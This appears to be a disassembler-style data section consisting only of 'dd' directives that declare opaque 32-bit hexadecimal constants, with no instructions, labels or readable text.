		dd 68BB0A9Dh, 0C7025900h, 549E8FB0h, 58EB000Dh,	7BDFA60h
		dd 1F006106h, 64C0F187h, 7AB7E74h, 0C2AAFC1Ah, 0C7B580F5h
		dd 5C02AD1Eh, 121657CFh, 0E8E213h, 0A966728Ch, 0C5D8005Ah
		dd 546994FFh, 73750291h, 0C15DA41Fh, 598EF500h,	1ED57B7Ch
		dd 0C0AA3186h, 6C5AC0F6h, 75009C50h, 0BD388FD2h, 4CA9BE63h
		dd 2208E007h, 0E78023E5h, 863BC43Dh, 1DEB00CEh,	0ACF8D476h
		dd 0D73EE872h, 0E6E1000Dh, 42598A5Dh, 8FB805h, 3A8941D1h
		dd 0A8E625Fh, 0CB447800h, 0E0ECC6D2h, 5BAC00CAh, 0BDF0C2EFh
		dd 7E007CC7h, 0DC6C51FEh, 79C59927h, 967977h, 45249701h
		dd 98E55DEh, 0CF73E405h, 8C807C17h, 3FD45181h, 0DF3EDB41h
		dd 880FE307h, 0C2180014h, 3E046C69h, 6F6071D5h,	16E25080h
		dd 36AF075Ah, 94856B20h, 3A309233h, 0D3000864h,	11D97A4Ch
		dd 1279BDEAh, 4813E9h, 0A06920Ch, 0BE0228DCh, 9248F35h
		dd 9A35E023h, 9A2BE299h, 15A700A4h, 0CBDEEFD3h,	749A45A9h
		dd 446C1E00h, 94A5968Fh, 6DB822h, 5840CF1Bh, 603DD752h
		dd 43B9DE07h, 97902D90h, 0CDEA91h, 0B6541F0Dh, 0D7DDC037h
		dd 0C500EB79h, 26BD3D34h, 5889BC9Ch, 2307D0C6h,	0E3B87180h
		dd 0D907A713h, 2E8E9DDFh, 1A0C4C80h, 0FFFD1FC1h, 7EA0C3F2h
		dd 65F04EE6h, 0B400963Ch, 0A39E79C0h, 1C38972Bh, 381A8595h
		dd 83860F00h, 1F188E9Fh, 9B121B16h, 0EE3FE440h,	0B721ABh
		dd 2DA92266h, 0A037B8F8h, 0B4358501h, 76B2F623h, 212EF070h
		dd 26901628h, 300EEDC8h, 92A182FDh, 0C378E3FBh,	5D1011E5h
		dd 0D53CC3h, 0E44124DCh, 99B147h, 0C50B194Dh, 0D57F3E93h
		dd 5F84A600h, 74CD4A1h,	177550h, 80B93D2Ah, 0D45F593h
		dd 6C0BD5E8h, 0A9D121DBh, 807180ACh, 0A95299h, 0B9152AEDh
		dd 6CF5A336h, 0E073883Ch, 0C92EAFA8h, 0A80509EDh, 0A0A00DF9h
		dd 0CB16220h, 0C20B361Dh, 1280D2DDh, 6BEC7F82h,	278B0013h
		dd 0AD1BA910h, 360EF82Ah, 53183F4Fh, 0AA135600h, 0F725EAh
		dd 34D4C33Ah, 9CE9D706h, 20934D00h, 33D8F1C5h, 0F9833F97h
		dd 0FB1E5A5Ch, 0E42880A2h, 0E696DD0Bh, 45ED951Ch, 4755E70Fh
		dd 0A0D030F5h, 98A693F6h, 8B740048h, 0F115F351h, 0CC008AC9h
		dd 0F0B302ACh, 0DC186Fh, 0D49FDFECh, 0AA594DB1h, 0DE00E876h
		dd 785E22C1h, 6533BAh, 4F28CD0Dh, 0A931A244h, 5C05E4A8h
		dd 0FA3DE300h, 51B3DC34h, 5AB000BFh, 0EDEC9963h, 8C00BC1Eh
		dd 0EF769F3Ah, 0C30627Bh, 0A2E16A28h, 33243240h, 24BC0427h
		dd 46147FB7h, 0B61109B4h, 70306B54h, 76B77EF8h,	388586Fh
		dd 44382600h, 4AC2F548h, 7EB6A736h, 0E986EC31h,	25813C2Ch
		dd 0F0AE2D8Ah, 19DDB082h, 31BAAA8Ch, 262B0345h,	0D67F14A8h
		dd 0B40D1DAh, 0FD148107h, 4430F8h, 77B760B6h, 0E5481Bh
		dd 0AA0D3640h, 573349DEh, 28DA49h, 929ABD1Dh, 9D3506Eh
		dd 0EECF1051h, 0FBBA0F00h, 1C00B04Fh, 448F33FFh, 501621h
		dd 66B60E98h, 736F88EAh, 24AC3C2Ch, 9979B418h, 0A6BE07F5h
		dd 0C0B268B8h, 896DDCC8h, 3EEDA003h, 9088670Dh,	0A3628C6h
		dd 1B3BDF66h, 13C8B080h, 5030A192h, 3A02A1CDh, 2A8C010Ch
		dd 0A8DC4B47h, 8AA0E0E6h, 0A420CD03h, 9036062Eh, 79B37F1Ch
		dd 6A970EC0h, 0CAE0FFE2h, 438F9285h, 4CED4F00h,	3CEF9E21h
		dd 57C10059h, 0A068917Eh, 20374599h, 216C08A3h,	7E5D0361h
		dd 7C29674h, 323F26F8h,	66F9F800h, 0E0928AB0h, 15CE003Ah
		dd 0AB4C3CEAh, 5E30B82Ch, 4A0518A0h, 0EAFF8ECh,	44D558A1h
		dd 56795898h, 0CE462E00h, 0C638C15Eh, 5A08CC66h, 72988421h
		dd 0D5E2D800h, 50DDB9ACh, 1D410082h, 76BC7B69h,	0F503EDA6h
		dd 3462E233h, 0B0106C29h, 9698AD40h, 0F1319132h, 7E55304Ah
		dd 0B0689B11h, 6B809C88h, 0C8A7E53h, 1BC100FFh,	67E95C55h
		dd 63E060C7h, 0C13802E9h, 0F0B937B7h, 0FA595781h, 8077C012h
		dd 0CF19B188h, 7FB44E33h, 50583C15h, 4FBA93h, 0CB366741h
		dd 5A004555h, 77D5E64h,	7FC329D1h, 0A0900FBh, 872FBDE0h
		dd 9501A4E9h, 43D69EFFh, 2AC87299h, 36EE00D8h, 49C6A5F6h
		dd 1317B018h, 0B00C7C0h, 0C57E5009h, 0BC480006h, 0F7D51610h
		dd 94075472h, 74B48712h, 82AE9E90h, 7AD0005Dh, 76F70595h
		dd 0D4007D8Eh, 3F396011h, 59020Fh, 0A3D7F84Fh, 46F5894Ch
		dd 0B876D200h, 6760DF2Bh
		dd 293B64DAh, 0BD192463h, 1C08C429h, 84973744h,	42FEE022h
		dd 30D01190h, 0E0008B22h, 14DE845Dh, 0CEB7F6h, 60FD034Ah
		dd 0D72F507Dh, 0C1E35100h, 382332CCh, 0E6DE00B5h, 0B66E3984h
		dd 3B731E5Bh, 778C9E00h, 0E8D587EFh, 0CADA00A1h, 8F962E12h
		dd 0D7284A7Ah, 90008A26h, 485C204Dh, 0EE08283Dh, 0C82A00EBh
		dd 0E6E26E0Ch, 0FB5881CEh, 10C40018h, 2C8CD360h, 0EBD8BD1Fh
		dd 84178503h, 80FC0CF3h, 3970B3h, 44EC869h, 0BE0E43A9h
		dd 2B8838C0h, 981D76F6h, 773900DCh, 7130994Ah, 94009DC1h
		dd 0A52C4828h, 9958064h, 1803F374h, 7BCB0400h, 0F404C9D8h
		dd 4C5C23D6h, 2BEDA80h,	8DF60929h, 300B21Ch, 24376E9Eh
		dd 0F2136C04h, 1D801280h, 75179C8h, 6E96FEF0h, 3A53505Ah
		dd 0AB002A52h, 0D811450Dh, 7CF11970h, 0D1EA0Bh,	0A2B5750Fh
		dd 0C167D4B9h, 0F4BFE800h, 4C2B2627h, 53EA007Dh, 0D51BF224h
		dd 3600BC05h, 0ABE90E54h, 25E4F90h, 49886541h, 2C40702Eh
		dd 0E30F82ACh, 0EFF7AD67h, 280093DBh, 0F9978D99h, 344703F8h
		dd 931B1E98h, 0C39A3AB0h, 0B46BFCE7h, 0DC236900h, 0F4598889h
		dd 90ECC7h, 1F5CB553h, 5FAC70EAh, 2A6B6F00h, 10DA4867h
		dd 0ADB318D3h, 3D3A292Fh, 0C2770500h, 8EDAF744h, 0A018C097h
		dd 141D921Ch, 7875A900h, 3172BBC2h, 494F008Dh, 0E90D1AC0h
		dd 0F004E64h, 3E695707h, 5C93DC28h, 68001587h, 4AEFDD22h
		dd 9E1F2ACFh, 0A9C06F58h, 98280312h, 40C70023h,	0A495492Fh
		dd 44285C83h, 0B6008805h, 1DB2AB2h, 4564E3h, 92C36C63h
		dd 87D78D89h, 660B0800h, 0E0C48F37h, 4ACA004Fh,	993A3FD6h
		dd 9707ED81h, 0C54EEC64h, 0E3C22C70h, 52740006h, 210725Ah
		dd 31018FA3h, 45A843ACh, 6BFC518Eh, 0CD840914h,	1800613Ah
		dd 0BFEB57A9h, 6DAB3C00h, 0B999853Eh, 0E56E1E88h, 0AAD3874Dh
		dd 0CE69F0EBh, 0FB008E48h, 0C3DA8394h, 3B24711Ah, 0AC806031h
		dd 69BF6BF0h, 55751DCBh, 236D6E01h, 54A3212Ah, 0B1BE108Fh
		dd 18A7A8E0h, 0BEA3440h, 92AD7100h, 492CFA87h, 915907D1h
		dd 0E0C2F135h, 3394AC9Bh, 0B096E0EFh, 5FE33700h, 6B8CC318h
		dd 0E57A007Eh, 3582914Bh, 0D449BE43h, 0CE1B0060h, 0D3563AC5h
		dd 0FF930078h, 0CC6677F2h, 0B100B64Ah, 0B54C19FAh, 0CE4D37h
		dd 0E720CA2Eh, 0A434589h, 5BA0A800h, 7B606173h,	79620064h
		dd 8D25BE78h, 4A0B9D77h, 8094F472h, 2249C3E9h, 4704007Ah
		dd 17AD6EE1h, 6D051DF2h, 0ED91D014h, 6C2FB980h,	49F40E67h
		dd 9320DD0Ch, 0FF0A7175h, 0D500D17Fh, 60AD5C4Ch, 198FCCh
		dd 72D9C2BEh, 5663B29h,	6200F0B0h, 4AB5D635h, 6954B4h
		dd 7488BE30h, 706C0620h, 0C9463Fh, 1B84F218h, 502607DBh
		dd 528879h, 0F653A312h,	49F9D99Ah, 8B6B2D00h, 5EA6174Eh
		dd 8C9A03h, 2496CC1Dh, 768A83E3h, 0BA731301h, 6894188Bh
		dd 1C80BC20h, 0C0225E89h, 921A9BADh, 3A30E674h,	0A52F598Eh
		dd 5DF7008Dh, 0AA35B323h, 0F3141D3Dh, 0A2AC334Fh, 64C08E02h
		dd 0B8D0C520h, 3E5532h,	0C64B0131h, 0D9FEFB58h,	335929C1h
		dd 0C820B0CCh, 2C2501E0h, 50A8C4E2h, 767BD4F7h,	0E50E73B0h
		dd 0E099D418h, 8E1C5F70h, 0C8F41DEFh, 7935001Dh, 0F275BC72h
		dd 0E2E2C098h, 803B5624h, 0BF3AD500h, 3E35E542h, 90004127h
		dd 94A1EC47h, 0FA24F92Fh, 0C6032CD7h, 90A206F0h, 32B8CC9h
		dd 0A8B9BA38h, 9F91427Dh, 0B460DA3Dh, 0D4ADCB6h, 0B4203EB1h
		dd 1FC10029h, 247B5D4h,	8300E12Dh, 808EA245h, 0C2CAE335h
		dd 14EC461h, 0EC615A61h, 1A00DE08h, 6D92C0CEh, 140A95Ch
		dd 5DF5E03Bh, 0B9E8C93Fh, 699E01C8h, 1891A481h,	67C0D431h
		dd 12580034h, 0F98D8424h, 40A99D1h, 8255B7A1h, 1215BF0Eh
		dd 56FBC800h, 2F74212h,	0A5B8ED27h, 5BE03B14h, 661C15BEh
		dd 0ACF05A1h, 80926038h, 3BC9710h, 0E4C14AE6h, 4DC05A98h
		dd 8503707Ch, 9ADF8376h, 43B2A0B0h, 9D300051h, 0A9C4CF5Ch
		dd 0B600E17Fh, 475E336Eh, 48BE11DDh, 34005075h,	1DB37E06h
		dd 2EE48A3Eh, 0FEEF1316h, 20144032h, 2FDB78E3h,	0CFA81F00h
		dd 37F9FC5Ah, 99D0019Bh, 241E7A60h, 88D43027h, 61EE0137h
		dd 339E0A20h, 9B71289h,	0CE004341h, 60103866h, 451D75A3h
		dd 78D200A0h, 1E89CA0Ch, 9316E500h, 4D8BC7BCh, 0B654007Ah
		dd 0A0CF9647h, 0E600843Bh, 33ED18CAh, 0FEBD245h, 1191FB1Ch
		dd 0F3DD8260h, 27003474h, 0A204BF6Dh, 12FA95D0h, 45F990h
		dd 0BD431E0Dh, 0F600976Ch, 3B13ED2Ch, 4C94226Ah, 101DA2D2h
		dd 0D6EA8005h, 9B2520D4h, 4218DB70h, 0C6D84B19h, 4FD70068h
		dd 157D56EAh, 1E00C03Dh, 0AA65C2A4h, 50974Ah, 98191B7Bh
		dd 57A8D063h, 1F62D600h, 24BFC647h, 0D7F51238h,	4AD40F59h
		dd 1F2654Eh, 0CBE8EEECh, 1690C01Bh, 0D376300h, 0BBD0B2B8h
		dd 0FDDF0585h, 0FBF23Eh, 0EA777CA4h, 4500170Dh,	93FA1D6Ah
		dd 8C0B51h, 69D7B0Fh, 14CE83B1h, 58E37907h, 78201318h
		dd 369F27Eh, 0D568C2E5h, 7FC0974Eh, 0D8013398h,	9C37BA99h
		dd 830D06Fh, 0BB361276h, 0C3640206h, 584011EAh,	730722F9h
		dd 0D3CED9E8h, 3CDF9C90h, 0B55C0FBCh, 5AA3E0ECh, 2D88C46Eh
		dd 7414AA2Fh, 7B4284Fh,	0DB3B8EB5h, 481820FBh, 521205h
		dd 0B7B4FEAAh, 0A52EECD1h, 0C4348h, 0BBA38B94h,	1A8C37Eh
		dd 0F7FEA1FCh, 701B1755h, 0BF00C884h, 0C5A02A3Bh, 90B1EAA6h
		dd 5F670048h, 0B3360439h, 6EFC5915h, 508F322Ch,	10F07D89h
		dd 811F7B70h, 0AD2EE858h, 8BC6CCEFh, 648D060h, 31BDFFh
		dd 77DE393Dh, 0BF723F2Ah, 11A44100h, 0EE8CA946h, 0ECA20493h
		dd 0C00324EFh, 44E79498h, 6803100h, 0CC89260Ah,	6EEF0658h
		dd 0F848796Bh, 374E6601h, 0DDB60A2Fh, 5262B30h,	5B6287FFh
		dd 0EBC0FB8Ah, 1639FBDBh, 0BC3042F8h, 3F5C75AFh, 0C49F03FEh
		dd 0F8375598h, 0F42A9DB4h, 20D44885h, 0EAC90E04h, 0B58CD0A9h
		dd 99C00286h, 0D7307F9Dh, 6FC10644h, 0C049E4BDh, 1ED4B158h
		dd 0C257B2B0h, 0DF522C00h, 98D7BC5Ch, 34050F54h, 15453790h
		dd 1DF207DBh, 71ADE0E6h, 93006788h, 0ABAC05FAh,	2E096Ah
		dd 0FBA63FD2h, 0C37F7932h, 0F24A8E04h, 0C8C0F4D9h, 716A7A2h
		dd 0B59C9A46h, 0C08E05B2h, 693F7009h, 58286C00h, 59B32E14h
		dd 75FD0018h, 48687C1Fh, 99005691h, 5CA5EE41h, 2EE57961h
		dd 75F1602h, 0C050C9F1h, 6839C6B7h, 565D200h, 74F2AEA9h
		dd 34B829h, 4135F198h, 71C179BBh, 0A4314739h, 0DF038040h
		dd 8801DB75h, 27E2BEh, 4CA1AB34h, 1AD7FF6Ch, 93AC6200h
		dd 22994B7Ch, 443A0074h, 0CDF02EA8h, 0C60279E7h, 5767E02Ah
		dd 0A028C80Eh, 779F7369h, 954A0966h, 3C18A27Ch,	188064BBh
		dd 0ED6F0032h, 0AED32D36h, 5100E347h, 6DD46CCEh, 0F79D7Fh
		dd 0CFBA34DCh, 0FC791D56h, 0C4001477h, 0BD46D162h, 0BFC0E0h
		dd 0AF222EB0h, 8BB3095Ah, 7182A000h, 0CB234BDAh, 9A0B00E6h
		dd 0EE5E0E9Bh, 89E05B35h, 82D34201h, 0C9609124h, 0E12530h
		dd 0EE0349A0h, 35CE95F8h, 0BE447B00h, 4CBC8B73h, 0B291FFEh
		dd 0D84580D1h, 9CB5A353h, 0CD64AE00h, 0D9308071h, 5B5500E5h
		dd 0F7E9F25Dh, 1100A205h, 9DECF5E1h, 24CF8Dh, 0AD675728h
		dd 8338BC2Dh, 10BB1E06h, 7598963h, 31F25B9Bh, 0F5272F99h
		dd 9AC2106Ch, 9F3C7B97h, 0DBB18571h, 0FDC3D117h, 1F620057h
		dd 0F87C7D5Ah, 6200F292h
		dd 0A0B3C820h, 0AC3589h, 13B02B9Dh, 15BB6158h, 6525300Eh
		dd 0A2C2E14Dh, 6E8CA5Dh, 0E0ED6397h, 5CF0A777h,	8C00A37Bh
		dd 66C9C58Fh, 1466BA5h,	6C49D822h, 615588FDh, 59E1D8ECh
		dd 0D9D78400h, 0A871B88Ch, 0E5EABEh, 8ED68AFAh,	0E46F128Bh
		dd 0CE923603h, 0E8F63148h, 13A62051h, 0BBA10Ah,	27A4E41Fh
		dd 0A70025CEh, 2DD9FD19h, 0B832B5h, 81F316DBh, 73F09BD6h
		dd 0D54438h, 0E9070582h, 26910Fh, 7D5168FDh, 86FE50D2h
		dd 7CFC1E54h, 88CB407h,	0E1200497h, 50E98384h, 2714F763h
		dd 0C00C7C6h, 7CAAD338h, 0E2EF4F09h, 5FC0606Ch,	390898F8h
		dd 1400991Dh, 0CCDD5AA6h, 8600282Bh, 4E56B7D7h,	3A4DBAC0h
		dd 8400A13Eh, 0AE017149h, 0DF005AFFh, 9F4BCEDAh, 0AF5865h
		dd 3EF496F1h, 0AE32EE1Eh, 4D00457Bh, 80B2F5E7h,	3F5781F2h
		dd 49819751h, 0FAF0E383h, 1E4FC17h, 67568C03h, 9341AFB6h
		dd 259800FCh, 0E6294540h, 0CE60C133h, 3D885A60h, 105F587Fh
		dd 8387A005h, 0D10180A4h, 99009341h, 0C1686AF5h, 7533561Bh
		dd 25BA3D0Eh, 97A81200h, 0F2F77A57h, 628C661Dh,	5CDA7D80h
		dd 7C53128h, 4952DE18h,	696310DDh, 0B700E484h, 0B134215Bh
		dd 4AE1Eh, 0EC06E2E5h, 44BA9177h, 478D9701h, 0DD1D3050h
		dd 0CD71ECh, 8A39E17Ch,	3CA0FAFDh, 0AA172901h, 528E336Fh
		dd 1AFEF8h, 786AFF28h, 0DEBAFCBh, 110B13Fh, 313A5CF2h
		dd 0A0645AF3h, 94148480h, 8CF9FAh, 0EDA6DA74h, 59E8F87Ah
		dd 14117C8Ah, 0EC70EF1h, 1C8DA0FAh, 391769h, 3698119Ah
		dd 0CF7BE378h, 0F20F7D02h, 89B87573h, 0ED4C82A4h, 34563BEh
		dd 1C1A2B10h, 9A9261C5h, 5003058h, 5407A404h, 32D53609h
		dd 0C0781C8Fh, 0A92C78E4h, 631F1457h, 0B0DD4040h, 0B6354Fh
		dd 93A261C3h, 0B995D903h, 1B24C600h, 78FB964Eh,	3E3B009Bh
		dd 27CF56ECh, 0C0048937h, 4E12CA94h, 20F40884h,	0B7E10051h
		dd 4DE827A5h, 0A900F83Fh, 40B0C6E0h, 3F4ECBD4h,	31E4C7Dh
		dd 20920234h, 805891CCh, 0B036171Dh, 0F7F4C00h,	47A6B7h
		dd 0BCFFBA1Fh, 0E8048B3Ah, 9BA2B400h, 0CFEA9007h, 5A53009Dh
		dd 199D781h, 651C4B58h,	88C420C3h, 0AC91EFD4h, 0E039D153h
		dd 904EC801h, 109186E5h, 17164A73h, 45DED7h, 0F10B8D38h
		dd 0DC9E7FA8h, 8FA25900h, 126F19C8h, 0C17163DCh, 83E0447Ch
		dd 0A7ED0361h, 97F480DEh, 62000BBh, 8DC16A4Dh, 30026EE2h
		dd 0CF79A243h, 0E4574BEh, 4C0D906h, 0F6E016ADh,	74666A1Fh
		dd 45777885h, 0A3EDA440h, 3D680D9Fh, 55803F22h,	6B563972h
		dd 7B00374Dh, 10DA4EEFh, 3EFD1753h, 780A66Dh, 42892CBh
		dd 4100ED52h, 0D95F72AEh, 9A67F6h, 81CF0173h, 17C0F722h
		dd 56C18327h, 957E00BCh, 5E8F51D4h, 0FB5F8A00h,	1F9BFE29h
		dd 1AB23E0Ah, 56B469Ch,	1E3513A4h, 0A34903D0h, 9C9088F5h
		dd 3703447Eh, 0DAC591D4h, 0CB98020h, 41A70051h,	43464A21h
		dd 6000AC6Eh, 0B79091DEh, 0F4F185h, 9C954930h, 0D64CD48Bh
		dd 8ABEA8A0h, 0E9732217h, 6B3D7400h, 6ADA24h, 0DC2FB5B1h
		dd 8FBE3310h, 989CB700h, 49D2F2A4h, 0A12200D4h,	8C9E15B9h
		dd 0CD7BF6E6h, 0DBCA7701h, 5A5263DEh, 6A78C4h, 5CAF3543h
		dd 0BB315590h, 2A5E13Fh, 6B18F3B6h, 26BC5AE7h, 805C2926h
		dd 80D2F6ECh, 0BD005F12h, 0E937DC3Ch, 0E8DA96FFh, 0C0F370A7h
		dd 7719B11h, 5BB06706h,	0E7F8CD4Bh, 5E1CEA03h, 0E000DFB9h
		dd 0DC85399Fh, 7601830Dh, 38901F4h, 694BE492h, 1BCC3C22h
		dd 0C8B8042Eh, 2437E8h,	104B0B31h, 0AAAF677Dh, 0E1276A03h
		dd 0B0929BDFh, 4C9C15B5h, 610092C3h, 9D4AF764h,	9100D046h
		dd 5086DFE6h, 0A9BC79h,	0F57A305h, 17C48EC3h, 0BF6B0D00h
		dd 0F34F8C6Eh, 0FA913C90h, 0AA2B0A84h, 1BB8020h, 2F0324D2h
		dd 0C01F71ECh, 8FCCB862h, 78A4004Dh, 5805F0D1h,	6127AEF8h
		dd 25D800DDh, 23EB5DEh,	0D5D02BDFh, 80687074h, 0A900FBC4h
		dd 9B1539A4h, 0A5EF6Ah,	0F5010280h, 745F38Ch, 0BF689500h
		dd 5D115CFh, 94677B9Ah,	0C7BC00C8h, 932663FFh, 0A1628302h
		dd 609A0C5Dh, 0FA8A44h,	0D44785E3h, 89E76528h, 8C4BC426h
		dd 7B524683h, 941FD8C2h, 0DAEC00D1h, 0B01BFF76h, 8B7969A6h
		dd 0A724E607h, 0D3905B68h, 0E27406Fh, 0B3226E35h, 0F5C9B800h
		dd 12509B74h, 6777992h,	50D6F800h, 3A33754Ah, 55F00058h
		dd 0BA9BB3BCh, 0DA00BF35h, 0F31A7D17h, 8CA78Eh,	4E249E77h
		dd 2D3E11F4h, 0DB20CC00h, 0B1613429h, 8967000Ch, 0DC6D6B8h
		dd 96007ADDh, 15E25C84h, 0EF42A7E1h, 0BC284430h, 0E057003Ch
		dd 0DB78FEFFh, 0A7F6C700h, 3CC9322Eh, 0F8B2004Ch, 0D1568590h
		dd 9479CDFCh, 0BA6E0F00h, 0EE5D58Fh, 93B909DCh,	64AFF19Fh
		dd 0FE0D51A0h, 0F937D843h, 3BB2E6FFh, 0D7706098h, 90CB0005h
		dd 7A762DBAh, 7900D24Dh, 0D856C8B4h, 9E14E8Ch, 0A9CC0946h
		dd 30733380h, 0F80019D7h, 65D65FB9h, 2C2C211Ah,	4098E6h
		dd 252F0867h, 0B8BE38F6h, 30728703h, 57A8A0CBh,	99E3615Bh
		dd 24D0505Fh, 3E22D20h,	0D2F0C0Fh, 6F026FCh, 0F005F018h
		dd 2D2A1CEEh, 5D579C7Ah, 807D9E91h, 8768EF8Dh, 0D603FEF5h
		dd 0CBF1B447h, 0D438031Dh, 51140396h, 0F974FCC0h, 0E888CF1Ch
		dd 7FB502C1h, 18BFDD87h, 789C9003h, 5880EC57h, 53AC43Bh
		dd 8D3D00FFh, 1D9E71F9h, 7308BA74h, 811A01F7h, 0D9C5305Ah
		dd 5FC7D064h, 0CF648A50h, 0A9B6D100h, 0D31F56D5h, 0CA7D012Eh
		dd 0CD3D5CE8h, 0D85AFC4Ah, 1EDD5048h, 95000F83h, 20FB1A7Eh
		dd 9D6B02ABh, 1630B718h, 60723261h, 0B1F0F2AFh,	0D70E93FEh
		dd 56E49Eh, 11D82A47h, 0B8A900B0h, 9120B9D2h, 0AD034108h
		dd 1FC7D150h, 1DC9C090h, 2CA60354h, 0D33DE7EDh,	64CFA800h
		dd 81347CA1h, 603B001Bh, 0CE044977h, 213EA253h,	31150039h
		dd 797F5ED0h, 0CD1B02E9h, 1CC83BC6h, 753FA5E0h,	2907403h
		dd 0AE767CDAh, 0E98B0734h, 30805CE3h, 0F495D367h, 462DF10Eh
		dd 0C99F60D7h, 42AE2Bh,	0EE7CAF4Ch, 4703199Bh, 81730400h
		dd 86DB877Ah, 0ED8D00EAh, 69079D59h, 0EC766E7Eh, 26796F0Fh
		dd 0EA1227BBh, 87DF20A0h, 0E47F0086h, 0B4FF022Bh, 28006B58h
		dd 0E96D0111h, 0CF6EE5h, 2FAE6745h, 97B55385h, 7A16D412h
		dd 0F8B35101h, 0CB43D004h, 366EA0E5h, 62E71486h, 5E28F876h
		dd 7D8A0064h, 995ABA50h, 93EA9758h, 256DA303h, 0AA890887h
		dd 0B9F8E070h, 392C0101h, 0EEDECE13h, 7F58384Eh, 30437600h
		dd 155DA2AEh, 1625E66h,	0C07E7F00h, 0CA09E88Ah,	0F53AEA7Dh
		dd 8973070h, 1F77CF67h,	42C01061h, 266B51ACh, 900CF4D0h
		dd 49FA1E9Dh, 2A7400E7h, 0DCBCC60Fh, 7B3B7EA5h,	0D72C8452h
		dd 0A0D0DF27h, 18C0B25Bh, 3940464Ch, 0DB25EED9h, 425800F9h
		dd 0EB5130h, 67FA1A48h,	40415FF6h, 8CDDFE3Ah, 3987C4F7h
		dd 0E91C005Dh, 68F0BA6Dh, 3D004E6Ah, 0ECB81BE6h, 171FA2h
		dd 3BD6094Ah, 3F2DC63Ah, 0FB48AA74h, 94780035h,	0BEE61D1Fh
		dd 137B00Eh, 654C9D87h,	2FC33641h, 50388300h, 1FBFA217h
		dd 0C7AF1FA9h, 0BA20A0B3h, 383900E4h, 0E42E121Ch, 130E5F01h
		dd 5601EEDFh, 4015B851h, 13D0870h, 0C02AB4BBh, 94CA1EF7h
		dd 0DC79E9h, 159F3EEDh,	1FEF8110h, 47490195h, 0C9CB471Bh
		dd 5B0901F6h, 0DC4A01Fh, 896104h, 95C76867h, 3344BC77h
		dd 0E160140Fh, 4BD240F2h
		dd 265B51D5h, 2654798Fh, 169831EDh, 0A06717F6h,	9E4338F0h
		dd 99713C2h, 7FAC43C8h,	0D8006C59h, 943E028Ch, 0A8D42BDh
		dd 6D77242Ah, 67A6BCh, 3F2517FAh, 2300BEC1h, 0D759728Ah
		dd 0EAF9A8F0h, 0C32D00D8h, 9B399446h, 14001905h, 71E4F52Ah
		dd 7C74F4E5h, 9234F0B6h, 3DFB024h, 548ACADCh, 697ABE5Dh
		dd 0E589C300h, 669F6123h, 0AC1F4D1Bh, 873AC40Bh, 59188020h
		dd 0A200E36Eh, 92F9EAEDh, 1AC9F2h, 374AC53Eh, 0D72F7467h
		dd 0B2003170h, 0F5DD5FB1h, 7E6DEEEh, 0B5DA3D12h, 0F11B5083h
		dd 5516E980h, 0E04114CCh, 58A0DD56h, 3ED10EECh,	0FD868099h
		dd 100D94DEh, 0DD55A305h, 91C7EE51h, 1A393A60h,	0B64F0086h
		dd 67D3036Eh, 7C1E80ABh, 0EC00D631h, 0D55EFEADh, 102B0271h
		dd 0DE1C91A1h, 0E70388D1h, 721EFC40h, 8128B4E8h, 4B81EB26h
		dd 0DEDDF036h, 0C23F997Eh, 63AB841Ah, 80BB56EAh, 2EFC393Fh
		dd 58968F00h, 4F6A119Bh, 95B0312h, 0EE6399FBh, 4B7AB3A0h
		dd 9D7FD800h, 0F3E1BA06h, 1B4307F6h, 2062C4B2h,	0D8128E25h
		dd 56A3EF00h, 5E42746Eh, 0D2870F5Bh, 7060C74Dh,	0D6039175h
		dd 83B47F0Fh, 2326CB35h, 821B0450h, 8C3260EBh, 9D810033h
		dd 7B73CCF8h, 2B006BD6h, 0A81D5C20h, 3C2745A0h,	253D23D5h
		dd 0B9224380h, 549A3DB5h, 0FABDA512h, 3F3C0400h, 0C09020E3h
		dd 9FC89211h, 0A63A6457h, 0BE08829Ah, 404E280Bh, 7C29B3ACh
		dd 0CF5A0088h, 4F4745EBh, 9F077770h, 3C378503h,	5BC08230h
		dd 0EAD10598h, 0E0FACF58h, 754D2504h, 93E83CBCh, 8406FBFh
		dd 5B85020Ah, 0E362254Ch, 58F1C880h, 0CC0028DDh, 0B98D3741h
		dd 226F31h, 0AF6D4DC0h,	1280D361h, 48368700h, 0D4865AD5h
		dd 73771E9Ah, 6825C0FBh, 19966379h, 0D0F7EEFEh,	910027D9h
		dd 9CC13DB8h, 38401E92h, 600CA48h, 19543063h, 283A94F7h
		dd 271C7567h, 0D10061BCh, 95E07396h, 50D9002Dh,	0BB1CA0Fh
		dd 0D6035647h, 2093B399h, 0F248C8E2h, 485890FDh, 0DD0FC497h
		dd 230110A1h, 50C99AB3h, 22E521D4h, 3069C00h, 4E955B01h
		dd 55BA003Eh, 0F82B04B7h, 0BD035F8Ah, 0EB8518D5h, 7A56E268h
		dd 5D7B54h, 2ACC935Ah, 73D25801h, 0EC6A3D2Ch, 0D4DD8A03h
		dd 7AE8E0D1h, 601E3DA6h, 0C2A72F80h, 2C53EFADh,	0F76A9E00h
		dd 0ACA9987Dh, 8FA40h, 5C887BDEh, 81DF3011h, 9AD70C00h
		dd 0A6862187h, 756717Eh, 75E8DA09h, 0FC127207h,	850F1240h
		dd 8DD71F00h, 6BC60B06h, 2C940EA1h, 414ED9BCh, 0EBBD007Ch
		dd 800840ABh, 802FF63Fh, 890B3CC6h, 787ECF62h, 424097E9h
		dd 72EAB0DBh, 0DCF07FECh, 8CEF9D00h, 0A2A0084Bh, 0B56700E5h
		dd 0C5934633h, 0C803501Ah, 0CBC46EA4h, 59B8F82Fh, 5CB8E8h
		dd 1436E68Ah, 8C7252DAh, 773CBD12h, 0F300A053h,	0DB843985h
		dd 19780016h, 81A08B5Eh, 251F0F72h, 0ED810506h,	16FC7D52h
		dd 0E400AC31h, 0EF13ACh, 65942F80h, 0E525AE02h,	891B093Ch
		dd 49895678h, 0E3C85110h, 3D9B00CBh, 0CA306A84h, 5725AB87h
		dd 5D8C205Ah, 0F698D053h, 96F81D14h, 2621DD3h, 1A1DF1E1h
		dd 299ED401h, 0CB164C29h, 0F9750783h, 97B147D3h, 48FC80EEh
		dd 0E1005EFAh, 419E6A76h, 7E868CBh, 70CDF1C1h, 0C80A902Ch
		dd 600302B6h, 5114E394h, 1F01A05Dh, 1E69CE16h, 406506C7h
		dd 3D80A3B7h, 1350F1E8h, 50A79444h, 59A04110h, 0D70ECA07h
		dd 0A045B0A3h, 6470F9A2h, 8A520096h, 671C2C19h,	0D275469Eh
		dd 74A3231Fh, 4F40031Fh, 603C15FCh, 1A0F00CCh, 0F26220A8h
		dd 76012881h, 0C52D6107h, 0FE60956Eh, 776A0302h, 920521CBh
